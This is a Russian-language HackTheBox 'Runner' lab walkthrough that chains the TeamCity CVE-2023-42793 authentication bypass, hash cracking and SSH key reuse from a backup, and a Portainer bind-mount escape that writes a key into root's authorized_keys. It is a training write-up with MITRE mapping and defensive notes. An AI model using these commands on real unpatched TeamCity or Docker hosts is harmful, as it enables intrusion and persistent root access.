HTB Runner прохождение: от TeamCity CVE-2023-42793 до побега из Docker

CVE-2023-42793 попала в каталог CISA KEV (это список уязвимостей, которые УЖЕ эксплуатируются в реальных атаках — если CVE оказалась здесь, патчить нужно было вчера) в октябре 2023 года. С тех пор она фигурирует в ransomware-кампаниях. EPSS (вероятность эксплуатации в ближайшие 30 дней, шкала от 0 до 1) — 0.9998. Практически максимум. Машина Runner на HackTheBox моделирует именно этот сценарий: уязвимый CI/CD-сервер TeamCity как точка входа, промежуточное перемещение по SSH, а финал — побег из Docker-контейнера через Portainer до root на хосте. Ниже — полная цепочка от первого nmap до root-флага с разбором каждого шага.
Место в цепочке атаки
MITRE ATT&CK — открытая база тактик и техник атак. Каждой технике присвоен T-код (например, T1190). Эти идентификаторы используют в отчётах и правилах детекции по всему миру. При первом прохождении Runner полезно видеть, к какому этапу атаки относится каждое действие — потом на реальном пентесте будете мыслить этими же категориями.
Полная цепочка Runner:
- Initial Access — Exploit Public-Facing Application (T1190): обход аутентификации TeamCity через CVE-2023-42793, создание административного пользователя
- Credential Access — Credentials in Files (T1552.001): извлечение SSH-ключа и хешей паролей из бэкапа TeamCity
- Lateral Movement — SSH (T1021.004): подключение к хосту по украденному ключу
- Discovery — File and Directory Discovery (T1083): обнаружение Portainer и Docker-инфраструктуры на хосте
- Execution — Container Administration Command (T1609): создание контейнера с монтированием файловой системы хоста
- Privilege Escalation — Escape to Host (T1611): запись SSH-ключа в
/root/.ssh/authorized_keysчерез смонтированный том, вход на хост как root
Эта последовательность — не учебная абстракция. CI/CD-системы как вектор initial access занимают растущую долю реальных инцидентов: по данным Mandiant M-Trends 2025, эксплойты составляют 38% всех случаев начального доступа, и уязвимые TeamCity, Jenkins, GitLab входят в эту статистику.
Требования к окружению
Перед началом убедитесь, что всё на месте:
- ОС: Kali Linux 2023.x или Parrot OS. nmap, hashcat, ssh, ffuf, seclists — предустановлены в Kali. Если ставите вручную через
apt install ffuf seclists, путь будет/usr/share/seclists/. Путь/opt/SecLists/— это если клонировали черезgit cloneиз репозитория danielmiessler/SecLists - RAM: от 4 ГБ для одной VM с Kali
- Инструменты: nmap, ffuf, hashcat, ssh-клиент, Python 3.8+ с модулем
requests - Сеть: активное VPN-подключение к HackTheBox (файл
.ovpnиз личного кабинета HTB), интерфейсtun0 - Словари: пакет SecLists (
apt install seclistsв Kali). Критичен файлbitquark-subdomains-top100000.txt— без него поддомен не найдётся. Путь при установке через apt:/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
Первый шаг — добавить IP машины (указан на странице машины в HTB) в /etc/hosts, иначе браузер и инструменты не смогут резолвить доменное имя. Здесь и далее <TARGET_IP> — IP из вашего инстанса HTB (например, 10.10.11.13 для retired-версии):
echo "<TARGET_IP> runner.htb" | sudo tee -a /etc/hosts
Если после ping runner.htb приходят ответы — всё настроено верно.
Разведка: сканирование и поиск поддоменов
Сканирование портов nmap
Задача — понять, какие сервисы работают на машине. Запускаем быстрое сканирование всех портов: nmap -p- --min-rate 10000 <TARGET_IP>. Флаг -p- — все 65535 портов, --min-rate 10000 ускоряет сканирование за счёт отправки минимум 10000 пакетов в секунду.
Ожидаемый результат — два открытых порта: 22 и 80.
Уточняем версии: nmap -p 22,80 -sCV <TARGET_IP>. Флаг -sC запускает стандартные скрипты nmap (NSE — Nmap Scripting Engine), -sV определяет версии.
Что покажет вывод:
| Порт | Сервис | Версия | Комментарий |
|---|---|---|---|
| 22/tcp | SSH | OpenSSH 8.9p1 Ubuntu | Версия указывает на Ubuntu 22.04 Jammy |
| 80/tcp | HTTP | nginx 1.18.0 | Редирект на http://runner.htb/ |
Сайт на порту 80 — статический лендинг с информацией о CI/CD-решении. Все ссылки ведут на якоря внутри страницы, интерактивных компонентов нет. Зато на странице есть «Powered by TeamCity». Запомним.
Перебор директорий через feroxbuster -u http://runner.htb ничего полезного не даёт — только /assets/ со статикой.
Перебор виртуальных хостов
Виртуальный хост (vhost) — когда на одном IP работают несколько сайтов, а различаются они заголовком Host в HTTP-запросе. Если на машине есть скрытый поддомен, стандартный перебор директорий его не найдёт.
Типичная ошибка новичков: использовать маленький словарь. Со стандартным subdomains-top1million-5000.txt (5000 записей) результат будет пустым. Нужен словарь покрупнее:
ffuf -u http://<TARGET_IP> -H "Host: FUZZ.runner.htb" \
-w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-mc all -ac
Флаг -mc all показывает все HTTP-коды ответа, -ac включает автокалибровку — ffuf сам определит «шумовой» ответ и отфильтрует его.
Результат: найден поддомен teamcity со статусом 401 (Unauthorized). Добавляем в /etc/hosts:
echo "<TARGET_IP> teamcity.runner.htb" | sudo tee -a /etc/hosts
Открываем http://teamcity.runner.htb в браузере — страница логина JetBrains TeamCity версии 2023.05.3. Эта версия попадает в диапазон уязвимых — все до 2023.05.4 согласно NVD.
Эксплуатация TeamCity через CVE-2023-42793
Суть уязвимости
CVE (Common Vulnerabilities and Exposures) — стандартная система идентификации уязвимостей. CVE-2023-42793 — обход аутентификации в JetBrains TeamCity версий до 2023.05.4, который позволяет неаутентифицированному атакующему выполнить произвольный код на сервере (RCE — Remote Code Execution).
CVSS (стандарт оценки критичности уязвимостей) для этой CVE — 9.8 из 10 (CRITICAL). Разберём вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — если видите эту строку впервые, вот что означает каждый компонент:
AV:N— атака по сети, физический доступ не нуженAC:L— низкая сложность, специальных условий нетPR:N— привилегии не нужны, атакующий анонименUI:N— действий пользователя не требуетсяC:H/I:H/A:H— полный импакт на конфиденциальность, целостность и доступность
Все компоненты на максимуме — поэтому и 9.8. В переводе на человеческий: любой анонимус из интернета может получить полный контроль над сервером без каких-либо условий.
Уязвимость относится к CWE-288 (обход аутентификации через альтернативный путь) и CWE-306 (отсутствие аутентификации для критической функции). Критический API-эндпоинт TeamCity доступен без проверки подлинности — классическая ситуация «забыли повесить замок на бэкдор».
CVE-2023-42793 находится в каталоге CISA KEV с 4 октября 2023 года и помечена как используемая в ransomware-кампаниях. Эксплойт опубликован на Exploit-DB (EDB-51884, автор ByteHunter). На GitHub наиболее популярный PoC — H454NSec/CVE-2023-42793 (46 звёзд, активно обновляется).
Получение доступа к TeamCity
Эксплойт обращается к endpoint /app/rest/users/id:1/tokens/RPC2, который из-за ошибки в маршрутизации не требует аутентификации, и генерирует токен для суперпользователя (id=1). Через полученный токен создаётся новый администратор:
git clone https://github.com/H454NSec/CVE-2023-42793
cd CVE-2023-42793
python3 exploit.py -u http://teamcity.runner.htb
Скрипт выведет логин и пароль созданного администратора. Если видите строку с credentials — эксплойт сработал. Если скрипт падает с ошибкой — проверьте: URL без слэша в конце, Python 3.8+ установлен, модуль requests доступен (pip3 install requests).
Входим в веб-интерфейс TeamCity с полученными кредами. Полный административный доступ к CI/CD-серверу — в кармане.
Два пути: RCE или бэкап
После получения админа в TeamCity есть два варианта:
Путь 1 — RCE через debug-режим. Включаем debug-mode в настройках и выполняем системные команды через API. Получаем шелл внутри контейнера TeamCity (пользователь tcuser). Быстро, но менее стабильно.
Путь 2 — бэкап (intended path). Создаём полный бэкап через веб-интерфейс. Даёт доступ к большему количеству данных и задуман авторами машины.
Я рекомендую второй путь — он надёжнее и учит работать с данными, а не просто получать шелл. Умение копаться в бэкапах CI/CD-систем пригодится на реальных проектах чаще, чем кажется. Переходим в Administration → Backup, выбираем scope «All except build artifacts», нажимаем «Start Backup». Через несколько секунд появится ссылка на скачивание ZIP-архива.
От TeamCity к SSH: извлечение ключей и хешей
Создание бэкапа и разбор данных
Скачиваем архив и распаковываем: unzip TeamCity_Backup_*.zip -d tc_backup. Внутри — конфигурация TeamCity, дамп базы данных, данные плагинов.
Что искать в бэкапе:
SSH-ключи. Команда find tc_backup -name "id_rsa" 2>/dev/null покажет приватный SSH-ключ в директории плагинов (plugin_data). Этим ключом TeamCity подключался к хосту для выполнения задач.
Хеши паролей. Файл database_dump/users (может называться users или users.csv) содержит записи пользователей TeamCity с bcrypt-хешами. Команда cat tc_backup/database_dump/users покажет двух пользователей: john и matthew. Хеши хранятся с префиксом bcrypt: в формате bcrypt:$2a$....
SSH-ключ сам по себе бесполезен, пока мы не знаем, какому пользователю он принадлежит. А хеш бесполезен, пока не взломан. Нужно и то, и другое.
Взлом хешей и подключение по SSH
Извлекаем хеши john и matthew. В дампе TeamCity хеши хранятся с префиксом bcrypt:, поэтому сначала очищаем: grep 'bcrypt:' tc_backup/database_dump/users | sed 's/.*bcrypt://' > hashes.txt. Запускаем hashcat: hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force. Режим -m 3200 — bcrypt. Hashcat перебирает пароли из rockyou.txt — стандартного списка утёкших паролей.
Результат: хеш matthew поддаётся — пароль piper123. Хеш john по rockyou не ломается. Запомните пароль matthew — он понадобится для Portainer.
Теперь пробуем SSH-ключ. Сначала права (SSH откажет, если файл ключа доступен другим пользователям): chmod 600 id_rsa. Пробуем обоих:
ssh -i id_rsa matthew@runner.htb— отказ (ключ не подходит)ssh -i id_rsa john@runner.htb— успех
Шелл от имени john. Файл user.txt в домашней директории — первый флаг взят.
Повышение привилегий через Docker: побег из контейнера
Обнаружение Portainer
Portainer — веб-интерфейс для управления Docker-контейнерами. Популярен в продакшене, потому что позволяет управлять контейнерами через браузер вместо командной строки. И именно эта «удобная кнопочка» часто становится вектором эскалации.
Обнаруживаем Portainer двумя способами:
- Команда
ss -tlnp(просмотр слушающих TCP-портов) показывает порты 9000 и 9443 на127.0.0.1— дефолтные порты Portainer - Директория
/opt/portainer/на хосте
Порты слушают только на localhost — из браузера на атакующей машине не достучаться. Решение — SSH-туннель: ssh -i id_rsa -L 9443:127.0.0.1:9443 john@runner.htb. Эта команда «пробрасывает» порт 9443 с хоста на вашу машину. Теперь в браузере открываем https://localhost:9443. Браузер покажет предупреждение о самоподписанном сертификате — Advanced → Proceed. Можно пробросить и порт 9000 (-L 9000:127.0.0.1:9000) и использовать http://localhost:9000. Видим страницу логина Portainer.
Вводим matthew:piper123 (пароль из бэкапа TeamCity). Портал открывается с правами на управление контейнерами.
Монтирование файловой системы хоста
Почему Docker позволяет получить root? Контейнер по умолчанию запускается с привилегиями root внутри контейнера. Если смонтировать файловую систему хоста как volume — появляется прямой доступ к файлам хоста с правами root. Portainer работает через Docker-сокет (/var/run/docker.sock) — специальный файл, через который программы общаются с Docker-демоном. У кого есть доступ к сокету — у того полный контроль над всеми контейнерами и, как следствие, над хостом. Никакой CVE не нужен — это штатная функциональность Docker, которая работает as designed.
Последовательность в Portainer:
Шаг 1. Определяем устройство. На хосте (через SSH-сессию john) выполняем cat /etc/fstab. Корневой раздел — /dev/sda2, файловая система ext4.
Шаг 2. Создаём volume. В Portainer: Volumes → Add volume. Драйвер: local, options: o=bind, device: /, type: none. Этим мы создаём bind mount корневой файловой системы хоста в Docker-том. «Create the volume».
Шаг 3. Выбираем образ. В разделе Images — teamcity и ubuntu. Берём ubuntu — легче и предсказуемее.
Шаг 4. Создаём контейнер. Containers → Add container:
- Image:
ubuntu - Command:
sleep 99999— без этого контейнер остановится мгновенно, потому что ему нечего выполнять. Sleep держит его «живым» - Volumes: подключаем созданный volume, точка монтирования —
/mnt
«Deploy the container». Статус Running в списке — всё сработало.
Шаг 5. Получаем шелл в контейнере. Открываем контейнер → Console → Connect. Выполняем ls /mnt — если видите bin, etc, home, root, usr — это файловая система хоста. Вот он, момент, когда понимаешь, почему Docker без ограничений — это фактически root.
Шаг 6. Записываем SSH-ключ. Генерируем ключевую пару на атакующей машине (ssh-keygen -t rsa -f mykey), затем в консоли контейнера:
mkdir -p /mnt/root/.ssh
echo "ssh-rsa AAAA...ваш_публичный_ключ..." >> /mnt/root/.ssh/authorized_keys
chmod 700 /mnt/root/.ssh
chmod 600 /mnt/root/.ssh/authorized_keys
chown -R root:root /mnt/root/.ssh
# Работает, потому что без userns-remap uid 0 в контейнере = uid 0 на хосте
Подключаемся: ssh -i mykey root@runner.htb. Root-шелл. /root/root.txt — финальный флаг.
Ограничения техники
Каждый этап этой цепочки работает при определённых условиях. На реальном пентесте важно понимать, где техника сломается — иначе потеряете время на заведомо нерабочий вектор.
| Этап | Техника | Работает если | Не работает если |
|---|---|---|---|
| Initial Access | CVE-2023-42793 | TeamCity до 2023.05.4 без патча, доступ по HTTP | TeamCity 2023.05.4+; WAF с правилами для TeamCity API; TeamCity за VPN |
| Credential Access | Бэкап TeamCity | Есть админ-доступ к TeamCity, бэкапы не зашифрованы | External auth (LDAP/SAML без локальных хешей); шифрованные бэкапы |
| Lateral Movement | SSH по ключу | Ключ хранится в TeamCity, пользователь существует на хосте | Ключ ротирован; SSH с ограничением по IP; MFA для SSH |
| Privilege Escalation | Volume mount | Docker daemon без userns-remap; Portainer-пользователь имеет права на volumes | Docker rootless mode; userns-remap; AppArmor/SELinux-профили для Docker; Portainer с RBAC |
Применимость: вся цепочка актуальна для внутреннего пентеста в legacy-инфраструктуре, где CI/CD-системы развёрнуты в доверенном сегменте. На внешнем пентесте TeamCity редко доступен из интернета, но если выставлен — CVE-2023-42793 не требует ни привилегий, ни действий пользователя. В modern-инфраструктуре с managed Kubernetes (EKS, AKS, GKE) техника volume mount через Portainer неприменима: нет прямого доступа к /dev/.
Для сканирования инфраструктуры на уязвимый TeamCity есть готовый Nuclei-шаблон: nuclei -t http/cves/2023/CVE-2023-42793.yaml -u http://target. Nuclei — open-source сканер от ProjectDiscovery, шаблоны обновляются регулярно.
Чеклист HTB Runner прохождение
Компактный список действий для повторения:
- Добавить IP в
/etc/hostsкакrunner.htb - Сканировать все порты:
nmap -p- --min-rate 10000 - Уточнить версии:
nmap -p 22,80 -sCV - Перебрать поддомены словарём 100k: ffuf с
bitquark-subdomains-top100000.txt - Добавить
teamcity.runner.htbв/etc/hosts - Определить версию TeamCity на странице логина (2023.05.3)
- Запустить эксплойт H454NSec/CVE-2023-42793
- Войти в TeamCity с созданными кредами
- Создать бэкап: Administration → Backup → All except build artifacts
- Скачать и распаковать бэкап
- Найти SSH-ключ:
find . -name id_rsa - Извлечь хеши:
cat database_dump/users - Взломать bcrypt:
hashcat -m 3200 hashes.txt rockyou.txt - Подключиться по SSH:
ssh -i id_rsa john@runner.htb— взять user flag - Пробросить Portainer:
ssh -L 9443:127.0.0.1:9443 - Войти в Portainer: matthew:piper123
- Проверить
/etc/fstab— определить корневой раздел - Создать volume с driver
local, optionso=bind, device/, typenone - Создать контейнер ubuntu с volume на
/mntи командойsleep 99999 - Через Console записать SSH-ключ в
/mnt/root/.ssh/authorized_keys - Подключиться как root — взять root flag
Runner — одна из наиболее реалистичных машин Medium-уровня на HTB. CI/CD-серверы как вектор initial access — не CTF-выдумка: по данным Verizon DBIR 2025, 26% подтверждённых нарушений связаны с веб-атаками, а уязвимые компоненты вроде TeamCity (OWASP A06:2021 — Vulnerable and Outdated Components) остаются одним из основных входов. Но самый ценный урок этой машины — не TeamCity-эксплойт, а Portainer-эскалация. На реальных пентестах я регулярно вижу Docker-окружения, где разработчики выдают себе доступ к Portainer «для удобства», не понимая, что право создавать контейнеры с произвольными volumes — это фактически root на хосте. Никакой CVE не нужен: достаточно штатной функциональности Docker. Пока команды не начнут ограничивать права в Portainer через RBAC (Role-Based Access Control — разграничение доступа по ролям) и разворачивать Docker в rootless mode, побеги из контейнеров останутся рабочим вектором в каждом втором проекте с Docker. Если только начинаешь разбираться в ИБ и хочешь выстроить базу системно — на IB Basics показывают что делать в первый месяц после «хочу в ИБ».
Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.